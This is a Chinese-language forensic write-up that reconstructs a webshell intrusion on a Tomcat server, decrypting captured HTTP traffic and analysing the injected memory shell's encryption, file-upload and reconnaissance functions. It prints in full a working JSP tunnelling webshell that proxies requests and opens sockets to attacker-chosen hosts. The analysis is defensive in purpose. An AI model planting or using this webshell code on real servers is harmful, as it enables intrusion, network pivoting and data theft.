2.2 Tomcat 搭建
tomcat解析会报错,存在两个jar包缺失
返回数据
POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 208 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: application/json;charset=UTF-8 Content-Length: 290 Date: Mon, 25 Jul 2022 11:16:23 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
我们此时发现,返回数据,没办法解密
流量2 POST /web_war_exploded/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: 127.0.0.1:8080 Content-Length: 208 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"} HTTP/1.1 200 Set-Cookie: JSESSIONID=D13E378AB0CFF03E93024BD85D16A115; Path=/web_war_exploded; HttpOnly Content-Type: application/json;charset=UTF-8 Content-Length: 290 Date: Sun, 31 Jul 2022 09:36:35 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p3LqSQ62BTyUngI/DkW9Tp3quXH4sRpwFYziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
打完大马的第一个数据包
我们发送的数据是
6D6574686F644E616D65020400000074657374
我们尝试解密返回的数据
本地复现的返回包和报文一致
我们再来看我们的马,
服务器数据 =》xor =》 base =》流量 流量 =》 base =》xor =》获得数据
注入后,我们对于返回包的数据解码并不成功
我们按下不表,在后续进行解密
我们去查看注入的内存马,发现存在GZIP和deserialize
也就是说,我们重新推断一次
服务器数据 =》xor =》 base =》流量 流量 =》 base =》xor =》获得数据 变为了 服务器数据 =》GZIP =》xor =》 base =》流量 流量 =》 base =》xor =》Gzip=》获得数据
我们对原本马的进一步分析之后,发现错过了一些细节
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ
拼接的前半部分为这样,也就导致会解密出{RSA}
我们去除前面的影响之后,将流量的后续,进行解密
将返回的流量成功解密
内存马分析
3.1 功能预览
3.2 全局变量
sessionMap 用来存储多个session,说明 该系统rt是多人协同使用的工具,每个人的session不同
parameterMap 是用来存储传递的参数的
其他的也如图所见
introspector 监听器
public byte[] run() {//run函数 try {//第一个参数是evalClassName,也就是我们命令的参数,第二个是methodName也是我们执行的方法 String var1 = this.get("evalClassName"); String var20 = this.get("methodName"); // 方法为空就会提示 if (var20 == null) { return "Method is empty".getBytes(); } else { Object var21 = null; if (var1 != null) { //var4 是本身函数中的恶意module Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes(); } //参数Map,将sessionTable和servletRequest 存入 this.parameterMap.put("sessionTable", this.session); this.parameterMap.put("servletRequest", this.servletRequest); var21 = var4.newInstance(); } //下面是一个调用class和参数, Method var23 = null; boolean var5 = var21 != null;//实例化对象是否存在,var5判断 Class var6 = var5 ? var21.getClass() : this.getClass(); var21 = var5 ? var21 : this; //getByteArray函数见如下 byte[] var7 = this.getByteArray("invokeMethod"); Class[] var8 = new Class[1];//类的实例化 Object[] var9 = new Object[]{var21}; if (var7 != null || !var5) { try { var8[0] = Map.class; var23 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var18) { try { var8[0] = Dictionary.class; var23 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var16) { try { var8 = new Class[0]; var9 = new Object[0]; var23 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var14) { return "No Such Method".getBytes(); } } } } Object var10 = null; if (var23 != null) { var10 = var23.invoke(var21, var9); } else { //equals函数被重写了,见下 //toString函数也被重写了,见下 var21.equals(this.parameterMap); var21.toString(); var10 = this.parameterMap.get("result"); } if (byte[].class.isInstance(var10)) { return (byte[])var10; } else if (String.class.isInstance(var10)) { return ((String)var10).getBytes(); } else { return Map.class.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes(); } } } catch (Throwable var19) { ByteArrayOutputStream var2 = new ByteArrayOutputStream(); PrintStream var3 = new PrintStream(var2); var19.printStackTrace(var3); var3.flush(); var3.close(); return var2.toByteArray(); } }
3.3 被调用的函数
getByteArray
public byte[] getByteArray(String var1) { try { return (byte[])this.parameterMap.get(var1); } catch (Exception var2) { return null; } } //获取parameterMap中的参数,上述传递的invokeMethod
equals 重写成参数不为空,同时对var1 调用handle
public boolean equals(Object var1) { return var1 != null && this.handle(var1); } //var1 不为空的时候, public boolean handle(Object var1) { if (var1 == null) { return false; } else { //判断var1 是不是byteArrayoutputStream类,是的话,输出 if (ByteArrayOutputStream.class.isInstance(var1)) { this.outputStream = (ByteArrayOutputStream)var1; //判断,是不是byte数组,是的话赋值requestData } else if (byte[].class.isInstance(var1)) { this.requestData = (byte[])var1; } else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) { this.servletRequest = var1; } return false; } } //var2 servlet.http.httpServletReuest //var1 private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false; } else { boolean var3 = false; Class var4 = null; try { try { var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader()); } catch (Exception var5) { var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader()); } } catch (Exception var6) { } if (var4 != null && var4.isInstance(var1)) { var3 = true; } return var3; } }
反序列化
public HashMap deserialize(byte[] var1, boolean gzipFlag) { HashMap var3 = new HashMap(); ByteArrayInputStream var4 = new ByteArrayInputStream(var1); ByteArrayOutputStream var5 = new ByteArrayOutputStream(); byte[] var6 = new byte[4]; //针对gzipFlag 判断对流是否采用GZIP加解密 try { Object var7 = var4; if (gzipFlag) { var7 = new GZIPInputStream(var4); } while(true) { byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break; } if (var8 == 1) { ((InputStream)var7).read(var6); int var9 = bytesToInt(var6); String var10 = var5.toString(); var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false)); var5.reset(); } else if (var8 == 2) { ((InputStream)var7).read(var6); int var12 = bytesToInt(var6); String var13 = var5.toString(); var3.put(var13, this.readInputStream((InputStream)var7, var12)); var5.reset(); } else { var5.write(var8); } } } catch (Exception var11) { } return var3; }
序列化
public byte[] serialize(Map var1) { Iterator var2 = var1.keySet().iterator(); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4); var3.write(var4.getBytes()); byte[] var6; if (var5 instanceof byte[]) { var3.write(2); var6 = (byte[])var5; } else if (var5 instanceof Map) { var3.write(1); var6 = this.serialize((Map)var5); } else { var3.write(2); if (var5 == null) { var6 = "NULL".getBytes(); } else { var6 = var5.toString().getBytes(); } } var3.write(intToBytes(var6.length)); var3.write(var6); } catch (Exception var7) { } } return var3.toByteArray(); }
重写后的toString
public String toString() { if (this.outputStream != null && this.requestData != null) { try { this.parameterMap = this.deserialize(this.requestData, true); String var1 = this.sessionId(); if (var1 != null) { this.session = (Map)sessionMap.get(var1); } //methodname就是我们在内存马中交互的函数名 String var2 = this.get("methodName"); if (var2 == null || this.session == null && !"test".equals(var2)) { return super.toString(); } GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream); byte[] var4 = this.run(); var3.write(var4); var3.close(); this.outputStream.close(); this.parameterMap = null; this.requestData = null; this.outputStream = null; this.servletRequest = null; this.session = null; } catch (Throwable var5) { } } return super.toString(); }
close 关闭session
public byte[] close() { try { String var1 = this.sessionId(); String var2 = this.get("operation"); if (var1 != null) { Map var7 = (Map)sessionMap.remove(var1); var7.put("alive", Boolean.FALSE); return "ok".getBytes(); } else if (var2 != null && "clearup".equals(var2)) { for(Object var4 : sessionMap.values()) { if (Map.class.isInstance(var4)) { ((Map)var4).put("alive", Boolean.FALSE); } } sessionMap.clear(); return "ok".getBytes(); } else { return "fail".getBytes(); } } catch (Exception var6) { return var6.getMessage().getBytes(); } }
uploadFIle,参数已经都修改了比较好懂
public byte[] uploadFile() { String filepath = this.get("fileName"); byte[] fileValues = this.getByteArray("fileValue"); if (var1 != null && var2 != null) { try { File file = new File(filepath); file.createNewFile(); FileOutputStream fileOutputStream = new FileOutputStream(file); fileOutputStream.write(fileValues); fileOutputStream.close(); return "ok".getBytes(); } catch (Exception var5) { return var5.getMessage().getBytes(); } } else { return "No parameter fileName and fileValue".getBytes(); } }
getBasicsINfo 获取当前环境的相关信息
public byte[] getBasicsInfo() { String var1 = ""; try { Enumeration var2 = System.getProperties().keys(); var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n"; var1 = var1 + "CurrentDir : " + new File("").getAbsoluteFile() + "/" + "\n"; var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n"; var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n"; try { String var16 = System.getProperty("java.io.tmpdir"); char var4 = var16.charAt(var16.length() - 1); if (var4 != '\\' && var4 != '/') { var16 = var16 + File.separator; } var1 = var1 + "TempDirectory : " + var16 + "\n"; } catch (Exception var7) { } var1 = var1 + "RealFile : " + this.getRealPath() + "\n"; try { var1 = var1 + "OsInfo : os.name: " + System.getProperty("os.name") + " os.version: " + System.getProperty("os.version") + " os.arch: " + System.getProperty("os.arch") + "\n"; } catch (Exception var6) { var1 = var1 + "OsInfo : " + var6.getMessage() + "\n"; } String var17; for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var17 + " : " + System.getProperty(var17) + "\n") { var17 = (String)var2.nextElement(); } Map var18 = this.getEnv(); if (var18 != null) { for(String var19 : var18.keySet()) { var1 = var1 + var19 + " : " + var18.get(var19) + "\n"; } } return var1.getBytes(); } catch (Exception var8) { StringBuffer var3 = new StringBuffer(); var3.append(var1); var3.append("Exception errMsg:"); var3.append(var8.getMessage()); return var3.toString().getBytes(); } }
在数据包中,发现了一些比较大的数据量
POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 6096 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"32a85e76c20073540fef1ce1ee320f50ae0ff737d7ed26e6a85da18aad02f435bc8518d11b1e9030f4be2e0b3af6a17b87b423600fada476b6400c826cbb29c8759449da755f460961a6996fafc2e7d0633389636aaa4d316cb6f4c2b05b3cbc482b600171952a15d416a565a9dd8cc8ab155646f51efde3f249cee568dd767eccfa3521d11b7ea0cb5939e3ed36e87b6b29a7fa4fbc90a8b99b6061aef5c2e7af82b947ad15df47b32139dabd03d0cc2487f11565dbe1c1cf1f6bd0e1bba680a3573135fb1459f0db7fbe78d79f31bfea595630af5e31f5d31e61ab8f959547ab0e4cdae1db0febcbb086077cff5bfa0cb6e4ec30ac9a2c59983aaf0e9025b975b1e749a4776bc1c63279e3190d430704d097ce3737a3f435b60da0c949e4f2fe3aad6dca3adc574fbef52d17893a7ed6055f6aac133e50738b9ad164fe7e9df8f45d8db67861345962782162eda63e96f815007397ff9f629736639f896ec929ff6d586c4f8c5d349e06ef5196cb525f786dafa9d98a37eac395852d7d4e06e146c83059161369bcad803b424203da730157ec11336b0871d927f194fc65936e0471e9571cd7308371ebcd0ed0ba4b9929fc0309025605db8bc22637a1a86dcfce4e89ee0e58f8aea28cd39bcaff1bda3b1fb52285186e406058e78548e21a37ccc2d60d0d75a73911b73ba1d70805eb63e5cc056e01c0d3ccd5b58d8e7ffed52f6a7c7b3670b7d1c8e739ab47b50a532874217e3ce1a52495f0f5953d740e6422c09360fb838a80513343ba1130d1eb3d68e8c125add9368e891ca3fe196ac30e8e3c7de85ecb4e0ccb5c16e35bb0d8acf90b74861cdcb5fb6f2d63a45875b03ed825fa64abf719b540180beb16729dd83d89296da542a716ece2434f2790ce7f478dc59834d7b854d570cf95185b0a4ca186432f16a1f14f259b4a5e80c5db23083640e09fd9f3d8162d30fbf6b1a88ffb158c8ab1628ef6c6d7d35188b796dd07d7bd0f92d316c243e744fe16567ea64937df3f037ed0920aee1cdc0ecccb60a35a095feff50ea74ea51539d2e5306b8a06b9cd144d49da59becf2f875d7b833f9e8c9293b015a8e69903b93e6f17c9e1c43b25e7d940d47c3fb8d289053db59c45cb2eff8d7c8be617d2c06ad1bd93f5cf9f74d4988148e05da68db648e47897c75c3b8962ba61c44bf4a408fe8104ffb032ebba5e7f04eae6b9629d324a2ebf42bc2eccea1f38eb97fb9627932a6ba624b32e92a80c0c9e12edb610644b618ed91f2dd5ebef37d50c628127338671daa80995ee630095bd2d46c83cbe323adce50da5d62c807994787d2d1c18f223840aa5e8f1c3225e275a26d16ca97f72cde36fb6653574f614a16e8596fca46caafe26c7d87d082234c9a4394ebc0354c086f9ac1a54d79204a13cb6e31388be8f3accd90a69fc05309f6807a83cd331e86a074325cfb81b436fa66972c1f272159fc896fa6bc132a261e4b1983876f3649da62cb04ad88674c2e01d4cb8fc865ffbd97cb52b623c4e4558cabe7ba7321850c4fca9c0a767f3afa8a1b74cff37635ed24e2c926ccdd4acce0e6eb2f7de8084036d8654b7e8923e03a5d119cb31fd076b246a62dbb8d2171fc36d683a358e35aa9173e83118def9f58e7205058b2f97cc81d29a0dce1bd1134c8afadda693f595b854d1745d0dec97a72ad09dfba993479bd1648a2d6674dcb51ea60027ea7003418ce39643f005b3f0a3ac717413e3f6e38870e24404712dd2b91a5c1eda973f54880c8b849445e054a99cbf8ec5fdebbee4bebacedba3425b3f7a3f78c6b6fb78b3b3e5a4ff8dd5db8f57cfb38024bfce90147c3340129bf6e0ccb578fe4fc3c7e52ca1e5606711d256c3e4ea01fb5a92fdb310ada833a8839c81fe1b4309a0fc13d661c06b95999812f1ac2eefb032dc8b1a54868e33ac30cfd77c4ce660f97192596b7988dca08ce24e96007a4e9c8d5c2f456cfe8430930e1ad4e78101260a51c35aaa188e4d1ecd1281728b59cf14053bf732a6cd167478e8d42753c9cea3739dea6c371d7a8a038dbb0d44e3890b40bf575ad674c96df09ba72ea3d81a59b495b1381615f063cbf7277069ae20366dc2f8a5efe63fd639590821a3a88007cdca540d0f6d847702e52ea8cbcf0a5cf56edb9e5d164debdb393ab2b26abef14f6d09cbb0bad56d10e38df1bcea0efa681fa7fd80a42590677a60c54fcc52081ed90d70be050920b17a9a6d8835293bb1bfebf9c5a24d8ccb46d319084081cc3529f3184fc43709907a808cb21597570df3a9fa5f1c0afa0d7fb42c4097ef43db533117b13800d4f8bf9e211046598afff48e89f10f4eab805836ccf4cca6e7d121b278c4b85b182012b20d560df094bb6530902ade5742406337855a2fbcc37ef73c85626f9ab49468f8d2117d0dfc890009b9e75a8a43f66e98706937c6649899acf3634756d1263085930e3e8fa4eabf323fa06021b640eedc99881671960ed3dffe68ee9016c6d79968a6a8a2498a740a362a1f58070bfb0cbcf45721a50fe18cc923a25445b9daca0e762bed46c21ccfb99ea4792bd4570c7a94d6b207077aaa455f584f3a7c99c0f35233a4ff629b31e385972d4e3f8faa9831219de17a8de763e6d0c6028045d61eb287e6034d8ccbdf143dab6156d8579f4812b784d794bb6d651c6fda18337306b406eacca9ac07c35455b18edef5b9c5720b2e0b97efddd90f94891e340d23f677664949edc64f12e445996eb9762581b98487d52a5715778752641db9a80cad992ba9a23dcc27e13aac9a67e9a5a9781f8dda8202eb6020d8c7dd501b3c66e53d117e2b8b71e6f64f6be71ace17f548fde712ed98603d4193cb4c637a66d4b666e78e3c5f43423d36956a1a94363885dd5e6b08cb85e92ca9965e6fd5a8696995dcd89aac3667b7d4a0f04fb40643342ab8c6baf6b13f85a6e088d8f2a29485b31acee691e348e48db962ae5465e509589b2f3279bb4b4b624bd9567828f01dd80f18584d9f80fcae542b769aad985e7c872b87dd0274270bc2a43de8568b0ba40ed1c9e8555a7c73e7a0f66dbaac8ed902808dbb5bcdf3e2cbf737684d9ae1091dbb3075da90b026ef1475b53d82cdd48bcc2cee0ed53e37e89ab96c3eb7a2db9b520187e05b7695c28f70b6a26ac8c3d620f9d512c3ce0fdfdc7614f4a6066d1af1ef4160db16251d00a87a3fe1d97762371ed76d0993c6fd3047033c48841df3580db4842053a208edee9aec14c4f0d6167fbbc1d7d1e27db0df961c149e569820d3a5b054047ea8c8c0fb3f0a02a4159e381e88dc80be44f29b7d81d225bc532f2ae7612567b2b0e6d98ac12f2dc1d468579ebe2691f8fb7909372fcee0edf636105b6e739636979838e67c7259b3e60bcd8c33ca6b813b181e92e28891f4a10c5b0307de3154ef976b90b6e9cb7da1df481d15594f182db9dc040dc92aea5f0866205320a00056367163edb541cd4c9c69cfda046c79e07a5353e7ccb7fa7ca30d8f70c884905a7e380acfc4b87cd776312a0c03b8ca7563d732fe60e1660d5393bff054171a6f2cfe0a944009c66a20e8c134e115d5c2c41a85f24523cfb30900304162589db0b4c3bdb77102c28f8e01d780baabf74d4e3c0495c530dc12a2432b7e23ac20435fe828298b7a98a182dc24bd6d380f8605f110040d0e68c9601d4db46e4aa50326e50553a6ea0dd06864790edf6e0019db88cb0bb3e047f8b34de42adc9fc9914cbcaa272bc224200ac5f5bbe77d2affdf90eb518f00d0e28efd124d5f9c13b02c9ced7d869ccf226a304aeaeee19515852039e52691117a44c75e9f4cbb0a08aae885f37b15599d636cca01821f0f8b1e1d5c96c31bf94a7b97c138c97f46c87e0f031480a21ed1c54ebe2e8a2d75e8261db357d16a97c8d48817cdfa68b6319e5dae23576103e93af792cc8e2501c0cdf0fe7bdbf98878a3e2c2f44c9bb022a24db998d404d3d2d745a8a5bf02983040f1896cbb8b46cc2b593d27f88b07e8de6aaa5f66742d67c8865a674d640489d11024fc1c31cbccd8c82a731e52b37496afa2b3bc84b737f0543ce5fa3beea789438e458d8ab67259249446f3925c03f91902f8198de4bf439ce068aa251e96d2bedbeae58196fd99dd770cee242403b7180a0be2538483a3285a5c2adc365158ec0911705438acae119c658eac193af640bb5e22f7f4cd7df6e3392da2b7ca28e5078b"}HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: application/json;charset=UTF-8 Content-Length: 254 Date: Wed, 27 Jul 2022 10:14:51 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmk9QMbFy6mhJVhe6uJw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
数据包中,如上数据,进行解密后
解出的jsp为,解出的代码也就是后续的windowsConfig.jsp,这个木马露出了马脚,终于被我们所捕获。
<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%> <%! private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) { StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) { b1 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[(b1 & 0x3) << 4]); sb.append("=="); break; } b2 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[(b2 & 0x0f) << 2]); sb.append("="); break; } b3 = data[i++] & 0xff; sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]); sb.append(en[b3 & 0x3f]); } return sb.toString(); } private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) { byte[] data = str.getBytes(); int len = data.length; ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do { b1 = de[data[i++]]; } while (i < len && b1 == -1); if (b1 == -1) { break; } do { b2 = de[data[i++]]; } while (i < len && b2 == -1); if (b2 == -1) { break; } buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do { b3 = data[i++]; if (b3 == 61) { return buf.toByteArray(); } b3 = de[b3]; } while (i < len && b3 == -1); if (b3 == -1) { break; } buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do { b4 = data[i++]; if (b4 == 61) { return buf.toByteArray(); } b4 = de[b4]; } while (i < len && b4 == -1); if (b4 == -1) { break; } buf.write((int) (((b3 & 0x03) << 6) | b4)); } return buf.toByteArray(); } static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) { out += block.substring(0, 1).toUpperCase() + block.substring(1); out += "-"; } return out.substring(0, out.length() - 1); } boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); Enumeration nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) { NetworkInterface nif = nifs.nextElement(); Enumeration addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true; } } return false; } %> <% String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) { rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){ response.reset(); String method = request.getMethod(); URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection) u.openConnection(); conn.setRequestMethod(method); conn.setDoOutput(true); // conn.setConnectTimeout(200); // conn.setReadTimeout(200); Enumeration enu = request.getHeaderNames(); List keys = Collections.list(enu); Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key); conn.setRequestProperty(headerkey(key), value); } } int i; byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){ OutputStream output; try{ output = conn.getOutputStream(); }catch(Exception e){ response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return; } ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) { output.write(buffer, 0, i); } output.flush(); output.close(); } for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key); response.setHeader(key, value); } } InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { hin = conn.getInputStream(); } else { hin = conn.getErrorStream(); if (hin == null){ response.setStatus(200); return; } } ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) { byte[] data = new byte[i]; System.arraycopy(buffer, 0, data, 0, i); baos.write(data); } String responseBody = new String(baos.toByteArray()); response.addHeader("Content-Length", Integer.toString(responseBody.length())); response.setStatus(conn.getResponseCode()); out.write(responseBody); out.flush(); if ( true ) return; // exit } } response.resetBuffer(); response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22); cmd = cmd.substring(22); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]); SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); application.setAttribute(mark, socketChannel); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("0FX") == 0) { SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ socketChannel.socket().close(); } catch (Exception e) { } application.removeAttribute(mark); } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){ byte[] data = new byte[bytesRead]; System.arraycopy(buf.array(), 0, data, 0, bytesRead); out.write(b64en(data)); out.flush(); ((java.nio.Buffer)buf).clear(); readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break; bytesRead = socketChannel.read(buf); } response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = ""; InputStream in = request.getInputStream(); while ( true ){ byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break; inputData += new String(buff); } byte[] base64 = b64de(inputData); ByteBuffer buf = ByteBuffer.allocate(base64.length); buf.put(base64); buf.flip(); while(buf.hasRemaining()) socketChannel.write(buf); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "QmPrA86mT15"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); socketChannel.socket().close(); } } } else { out.write(""); } %>
小总结
本篇我们将木马的侵入流程做了大致的模拟,在本地搭建了环境,并且编写了加解密的脚本,能够暂时的为我们的流量包进行加解密,也简单的分析了一些代码,在下一篇中,将会对每一个功能进行细致的编写。